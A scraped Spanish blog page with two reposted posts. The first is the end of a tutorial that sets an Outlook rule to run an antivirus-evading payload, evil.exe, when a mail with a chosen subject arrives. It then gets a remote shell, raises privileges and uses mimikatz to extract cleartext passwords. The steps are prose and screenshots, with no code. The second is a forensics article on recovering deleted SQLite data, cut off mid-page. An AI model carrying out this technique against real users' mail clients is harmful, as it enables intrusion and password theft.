<span style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: x-small; line-height: 20.8px;"><br /></span><span style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: x-small; line-height: 20.8px;"></span><span style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: x-small; line-height: 20.8px;">Lo curioso es que prácticamente todos los antivirus se tragan el binario:</span><br style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: small; line-height: 20.8px;" /><span style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: x-small; line-height: 20.8px;"><a href="http://www.nodistribute.com/result/Rg7r0MJVZxKUh1PBfnqvO5bEI32" style="color: #2970a6; text-decoration: none;" target="_blank">http://www.nodistribute.com/result/Rg7r0MJVZxKUh1PBfnqvO5bEI32</a><br /><br />4.- Después construimos la regla en el outlook para que ejecute la aplicación evil.exe al recibir un correo con un determinado asunto, en el ejemplo 'hackplayers'. La siguiente imagen es autoexplicativa:</span><br style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: small; line-height: 20.8px;" /><span style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: x-small; line-height: 20.8px;"></span><br />
<div class="separator" style="background-color: white; clear: both; color: #333333; font-family: verdana, sans-serif; font-size: small; line-height: 20.8px; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjS8wt204xpHF_QVroPeizchHVQTqDT-Z-gcIy0YfeFBD9AunEe5gLo3DWnXa0diidy-nvScRmw18P_kHFPTB09mwEjU56PnLeoAS31YBJv8V8lKLcyXHvE13vozhQ3b1ndAloZ31Nuk7ni/s1600/outlook_regla.png" style="color: #2970a6; margin-left: 1em; margin-right: 1em; text-decoration: none;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjS8wt204xpHF_QVroPeizchHVQTqDT-Z-gcIy0YfeFBD9AunEe5gLo3DWnXa0diidy-nvScRmw18P_kHFPTB09mwEjU56PnLeoAS31YBJv8V8lKLcyXHvE13vozhQ3b1ndAloZ31Nuk7ni/s640/outlook_regla.png" style="border: 0px; padding: 2px;" width="530" /></a></div>
<span style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: x-small; line-height: 20.8px;"></span><br style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: small; line-height: 20.8px;" /><span style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: x-small; line-height: 20.8px;">Si lo prefieres, puedes utilizar el siguiente script en Python de Nick Landers para automatizar la creación de la regla creando un .rwz que podremos importar en Outlook con el mismo resultado:</span><br style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: small; line-height: 20.8px;" /><br style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: small; line-height: 20.8px;" /><span style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: x-small; line-height: 20.8px;"><a href="https://gist.github.com/monoxgas/7fec9ec0f3ab405773fc" style="color: #2970a6; text-decoration: none;">https://gist.github.com/monoxgas/7fec9ec0f3ab405773fc</a> </span><br style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: small; line-height: 20.8px;" /><span style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: x-small; line-height: 20.8px;"> <br />5.- Finalmente sólo nos queda probar y vemos como, al recibir el correo, obtenemos una sesión remota al ejecutarse silenciosamente evil.exe:</span><br style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: small; line-height: 20.8px;" /><br />
<div class="separator" style="background-color: white; clear: both; color: #333333; font-family: verdana, sans-serif; font-size: small; line-height: 20.8px; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgnzy0AhqaSOokUb_oqM50Fk6JHbQC2gFaRQ1xfX0Gs9S8mf62FrtzqdZhwPNrmsncPvZRQaIthGBHA0PJ5lPOp-GwzK3VFxqSfox8abuMfilQBOx4gCgKf1J5kVwtwXXj-XYM9eG3ym_dU/s1600/empire3.png" style="color: #2970a6; text-decoration: none;"></a><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEidswJzEoDi5vcDPonbZtAyvrkXhX4_3R0YoS88f8ZXCR4dqM5YuHe8BT_1YQrJraGOddLgZDkfr7VdEEWfDNluiQbeUgAg3L6RHXwS_mPuuHBeZIb8EPkJulm1UJ7qcqwhW_vxYcG2F7Ne/s640/outlook_mensaje.png" style="border: 0px; padding: 2px;" width="530" /></div>
<div class="separator" style="background-color: white; clear: both; color: #333333; font-family: verdana, sans-serif; font-size: small; line-height: 20.8px; text-align: center;">
</div>
<div class="separator" style="background-color: white; clear: both; color: #333333; font-family: verdana, sans-serif; font-size: small; line-height: 20.8px; text-align: center;">
</div>
<div class="separator" style="background-color: white; clear: both; color: #333333; font-family: verdana, sans-serif; font-size: small; line-height: 20.8px; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgnzy0AhqaSOokUb_oqM50Fk6JHbQC2gFaRQ1xfX0Gs9S8mf62FrtzqdZhwPNrmsncPvZRQaIthGBHA0PJ5lPOp-GwzK3VFxqSfox8abuMfilQBOx4gCgKf1J5kVwtwXXj-XYM9eG3ym_dU/s1600/empire3.png" style="color: #2970a6; margin-left: 1em; margin-right: 1em; text-decoration: none;"><img border="0" height="248" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgnzy0AhqaSOokUb_oqM50Fk6JHbQC2gFaRQ1xfX0Gs9S8mf62FrtzqdZhwPNrmsncPvZRQaIthGBHA0PJ5lPOp-GwzK3VFxqSfox8abuMfilQBOx4gCgKf1J5kVwtwXXj-XYM9eG3ym_dU/s640/empire3.png" style="border: 0px; padding: 2px;" width="640" /></a></div>
<span style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: x-small; line-height: 20.8px;"></span><br style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: small; line-height: 20.8px;" /><span style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: x-small; line-height: 20.8px;">Y bueno, ya que tenemos un shell remoto, pues elevamos privilegios y ejecutamos mimikatz para obtener las contraseñas en claro... ;)</span><br style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: small; line-height: 20.8px;" /><br />
<div class="separator" style="background-color: white; clear: both; color: #333333; font-family: verdana, sans-serif; font-size: small; line-height: 20.8px; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjgid-uLEj0jBNMPxSn917WpT-tKlgqgTcGc5p0pvh2xJaXFoCzXHsGil7QgIyBLuRFcgKo_yOTI8xYSoHY0echAwXhyV20PdgYyoBFQf0PLWxaNYybEWDi5wybEGI8e9HssLvIn0u7HK3i/s1600/empire4.png" imageanchor="1" style="color: #2970a6; margin-left: 1em; margin-right: 1em; text-decoration: none;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjgid-uLEj0jBNMPxSn917WpT-tKlgqgTcGc5p0pvh2xJaXFoCzXHsGil7QgIyBLuRFcgKo_yOTI8xYSoHY0echAwXhyV20PdgYyoBFQf0PLWxaNYybEWDi5wybEGI8e9HssLvIn0u7HK3i/s640/empire4.png" style="border: 0px; padding: 2px;" width="530" /></a></div>
<div class="separator" style="background-color: white; clear: both; color: #333333; font-family: verdana, sans-serif; font-size: small; line-height: 20.8px; text-align: center;">
<br /></div>
<div class="separator" style="background-color: white; clear: both; color: #333333; font-family: verdana, sans-serif; font-size: small; line-height: 20.8px; text-align: center;">
<br /></div>
<div class="separator" style="background-color: white; clear: both; color: #333333; font-family: verdana, sans-serif; font-size: small; line-height: 20.8px; text-align: center;">
Fuente: http://www.hackplayers.com/2015/12/shell-remoto-mediante-regla-outlook.html</div>
Anonymoushttp://www.blogger.com/profile/14889995492496981061noreply@blogger.com0tag:blogger.com,1999:blog-3341002719381872485.post-10826390285613195422016-07-13T21:54:00.003-07:002016-07-13T21:54:39.030-07:00 Recuperar información eliminada de BBDD SQLite #Forsensics #SQLite #PythonBuena entrada de mis rss favoritos:<br />
<br />
<br />
<span style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;">Hace unos años, mientras escribía </span><a href="http://0xword.com/es/libros/32-libro-hacker-epico.html" style="background-color: #113355; color: #aa77aa; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify; text-decoration: none;">Hacker Épico</a><span style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;">, me leía las especificaciones del formato de los ficheros </span><i style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;"><b>SQLite</b></i><span style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;"> para ver cómo podía recuperar información eliminada de estos ficheros e incluirlo como parte de uno de los capítulos del libro. Aún estaba lejos de ver el libro terminado, de que llegara el </span><a href="http://www.elladodelmal.com/2013/02/hacker-epico-la-presentacion-y-el-comic.html" style="background-color: #113355; color: #aa77aa; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify; text-decoration: none;">día de la presentación del libro</a><span style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;"> y mucho menos de verlo </span><a href="http://www.elladodelmal.com/2015/07/hacker-epico-en-comic-deluxe-edition.html" style="background-color: #113355; color: #aa77aa; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify; text-decoration: none;">convertido en un cómic en edición deluxe</a><span style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;">, pero tenía claro que el libro tenía que aportar investigaciones novedosas para estar al nivel de la trama.</span><br style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;" /><br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; margin-left: auto; margin-right: auto; padding: 4px; text-align: center;"><tbody>
<tr><td><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiRksL-RvOm5PnzLfUKS2JjcuydgutZMj6Fd3bpD0wHnAtg3MfQJBGku4qdEDJSJaLkYBgnGyempHahpTejdWp_G2KGq7dEyzIfqV8QAlVaMvksTgwHizIe08_DGPH-xEFejsUQfh9UmbY/s1600/lite0.jpg" imageanchor="1" style="color: #aa77aa; margin-left: auto; margin-right: auto; text-decoration: none;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiRksL-RvOm5PnzLfUKS2JjcuydgutZMj6Fd3bpD0wHnAtg3MfQJBGku4qdEDJSJaLkYBgnGyempHahpTejdWp_G2KGq7dEyzIfqV8QAlVaMvksTgwHizIe08_DGPH-xEFejsUQfh9UmbY/s640/lite0.jpg" style="border: 1px solid rgb(68, 102, 136); padding: 4px;" width="470" /></a></td></tr>
<tr><td class="tr-caption" style="font-size: 10.4px;"><i>Figura 1: Recuperar información eliminada de una base de datos SQLite</i></td></tr>
</tbody></table>
<br style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;" /><span style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;">De aquel trabajo de varias semanas, además de los </span><a href="http://www.elladodelmal.com/2013/02/hacker-epico-la-presentacion-y-el-comic.html" style="background-color: #113355; color: #aa77aa; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify; text-decoration: none;">0days de las cámaras de seguridad</a><span style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;"> que dieron la vuelta al mundo, salió una serie de artículos en </span><a href="http://www.securitybydefault.com/" style="background-color: #113355; color: #aa77aa; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify; text-decoration: none;">Security By Default</a><span style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;"> dedicados al </span><i style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;"><b>Análisis Forense de SQLite</b></i><span style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;"> que dividí en siete partes ([</span><a href="http://www.securitybydefault.com/2012/08/forense-de-sqlite-i-recursos.html" style="background-color: #113355; color: #aa77aa; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify; text-decoration: none;">1</a><span style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;">], [</span><a href="http://www.securitybydefault.com/2012/08/forense-de-sqlite-ii-cabecera.html" style="background-color: #113355; color: #aa77aa; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify; text-decoration: none;">2</a><span style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;">], [</span><a href="http://www.securitybydefault.com/2012/08/forense-de-sqlite-iii-paginas-libres.html" style="background-color: #113355; color: #aa77aa; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify; text-decoration: none;">3</a><span style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;">], [</span><a href="http://www.securitybydefault.com/2012/08/forense-de-sqlite-iv-paginas-b-tree-y.html" style="background-color: #113355; color: #aa77aa; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify; text-decoration: none;">4</a><span style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;">], [</span><a href="http://www.securitybydefault.com/2012/09/forense-de-sqlite-v-celdas.html" style="background-color: #113355; color: #aa77aa; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify; text-decoration: none;">5</a><span style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;">], [</span><a href="http://www.securitybydefault.com/2012/09/forense-de-sqlite-vi-practica.html" style="background-color: #113355; color: #aa77aa; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify; text-decoration: none;">6</a><span style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;">] y [</span><a href="http://www.securitybydefault.com/2012/09/forense-de-sqlite-vii-ejercicio-resuelto.html" style="background-color: #113355; color: #aa77aa; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify; text-decoration: none;">7</a><span style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;">]) y una charla sobre ello en </span><i style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;"><b>Rooted CON 2013</b></i><span style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;"> que titulé "</span><a href="https://www.youtube.com/watch?v=kaLG1TBrngw" style="background-color: #113355; color: #aa77aa; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify; text-decoration: none;">Te pique lo que te pique analiza un SQLite</a><span style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;">". Con todo este trabajo, salió además una herramienta que fue el germen de la web </span><a href="http://www.recovermessages.com/" style="background-color: #113355; color: #aa77aa; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify; text-decoration: none;">Recover Messages</a><span style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;">. </span><br style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;" /><br />
<div style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: center;">
<iframe allowfullscreen="" frameborder="0" height="264" src="https://www.youtube.com/embed/jZygn4oVT5Y" width="470"></iframe><br /><i><span style="font-size: xx-small;">Figura 2: RootedCON 2013 "Te pique lo que te pique analiza un SQLite"</span></i></div>
<div style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: center;">
<br /></div>
<span style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;">Esa mini utilidad realmente es un </span><i style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;"><b>script</b></i><span style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;"> en </span><a href="http://0xword.com/es/libros/66-libro-python-pentesters.html" style="background-color: #113355; color: #aa77aa; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify; text-decoration: none;">Python</a><span style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;"> que recorre el fichero </span><i style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;"><b>BTree</b></i><span style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;"> de la base de datos y detecta aquellas secciones marcadas como libres para obtener su contenido. No es perfecta, ya que al igual que ocurre en un sistema de ficheros, hay muchos elementos externos que afectan a la estructura del archivo, como son la inserción (</span><i style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;"><b>INSERT</b></i><span style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;">) de nuevo contenido o la defragmentación (</span><i style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;"><b>VACUUM</b></i><span style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;">) de la base de datos. </span><br style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;" /><br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; margin-left: auto; margin-right: auto; padding: 4px; text-align: center;"><tbody>
<tr><td><a href="http://www.elladodelmal.com/2013/09/recuperar-mensajes-borrados-en-skype.html" imageanchor="1" style="color: #aa77aa; margin-left: auto; margin-right: auto; text-decoration: none;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgK4yVVd9INaQW1Q0hdAE6Rva1h67TmaaRHQ4xWJ9YvsYCj3TNTE5hGmMkkvecEIA4hhGx1E9ge8Xt98qV8GqCwod9zIoLWiR6i7uELm5sSAZkbtOsIVa2SYM9EZk-9iQT6Hd1HI2MQ5Ww/s1600/Skype_4.png" style="border: 1px solid rgb(68, 102, 136); padding: 4px;" width="470" /></a></td></tr>
<tr><td class="tr-caption" style="font-size: 10.4px;"><i>Figura 3: <a href="http://www.elladodelmal.com/2013/09/recuperar-mensajes-borrados-en-skype.html" style="color: #aa77aa; text-decoration: none;">Recuperación de datos de una base de datos SQLite de Skype con RecoverMessages</a></i></td></tr>
</tbody></table>
<br style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;" /><span style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;">Debido a su ligero funcionamiento, estas bases de datos son ampliamente usadas en aplicaciones móviles como por ejemplo hace </span><i style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;"><b>WhatsApp</b></i><span style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;"> o </span><i style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;"><b>Twitter</b></i><span style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;"> para almacenar mensajes. También en aplicaciones de escritorio mucho más complejas, como es el caso de las conversaciones de </span><i style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;"><b>Skype</b></i><span style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;"> o las </span><i style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;"><b>cookies</b></i><span style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;"> en </span><i style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;"><b>Firefox</b></i><span style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;">. Por eso, se podía</span><a href="http://www.elladodelmal.com/2013/09/recuperar-mensajes-borrados-en-skype.html" style="background-color: #113355; color: #aa77aa; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify; text-decoration: none;">utilizar RecoverMessages con Skype</a><span style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;">, </span><a href="http://www.elladodelmal.com/2013/06/recuperar-mensajes-borrados-de-whatsapp.html" style="background-color: #113355; color: #aa77aa; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify; text-decoration: none;">WhatsApp</a><span style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;"> - en la última versión de </span><a href="http://www.elladodelmal.com/2016/04/whatsapp-en-iphone-mantiene-sin-cifrar.html" style="background-color: #113355; color: #aa77aa; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify; text-decoration: none;">WhatsApp para iPhone la base de datos sigue sin cifrar</a><span style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;"> - o bases de datos de </span><i style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;"><b>Twitter</b></i><span style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;">.</span><br style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;" /><br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; margin-left: auto; margin-right: auto; padding: 4px; text-align: center;"><tbody>
<tr><td><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjQmUBzLGK8L5Bt6h-noOffcTBQpiWALi9jCFmFiaU-pj4uS9xe-uk2V-G5MkYqaIcgJl9c7EblT7uKZYGcfc1SFCxxDgZw8tlsKvy2mVz27-SeMNxKsiiyzSdrzLtgrZ9JhIGfzdMIwig/s1600/pagina1.png" imageanchor="1" style="color: #aa77aa; margin-left: auto; margin-right: auto; text-decoration: none;"><img border="0" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjQmUBzLGK8L5Bt6h-noOffcTBQpiWALi9jCFmFiaU-pj4uS9xe-uk2V-G5MkYqaIcgJl9c7EblT7uKZYGcfc1SFCxxDgZw8tlsKvy2mVz27-SeMNxKsiiyzSdrzLtgrZ9JhIGfzdMIwig/s640/pagina1.png" style="border: 1px solid rgb(68, 102, 136); padding: 4px;" width="386" /></a></td></tr>
<tr><td class="tr-caption" style="font-size: 10.4px;"><i>Figura 4: Estructura general de un fichero SQLite</i></td></tr>
</tbody></table>
<br style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;" /><span style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;">Pero pese a esas limitaciones y en función al origen del fichero, la herramienta es práctica para encontrar información que tal vez esclarezca un incidente de seguridad durante un proceso de análisis forense que deba realizar un perito, ya que tan solo una </span><i style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;"><b>cookie</b></i><span style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;"> recuperada o un trozo de mensaje podría llegar a ser más que suficiente para evidenciar un acontecimiento. </span><br style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;" /><br style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;" /><b style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;">RecoverSQLite y DumpLite</b><br style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;" /><br style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;" /><span style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;">Que no soy un programador experto no es ningún secreto, así que después de una primera versión llamada "</span><a href="https://github.com/aramosf/recoversqlite/blob/master/recoversqlite.py" style="background-color: #113355; color: #aa77aa; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify; text-decoration: none;">recoversqlite.py</a><span style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;">", con ayuda de mi amigo </span><i style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;"><b>WiredRat</b></i><span style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;"></span><strike style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;">creamos</strike><span style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;"> él creó una segunda versión mejorada llamada "</span><a href="https://github.com/aramosf/recoversqlite/tree/master/dumplite" style="background-color: #113355; color: #aa77aa; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify; text-decoration: none;">dumplite</a><span style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;">", que además de las páginas libres, era capaz de encontrar </span><i style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;"><b>bytes</b></i><span style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;"> borrados entre celdas. </span><br style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;" /><br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; margin-left: auto; margin-right: auto; padding: 4px; text-align: center;"><tbody>
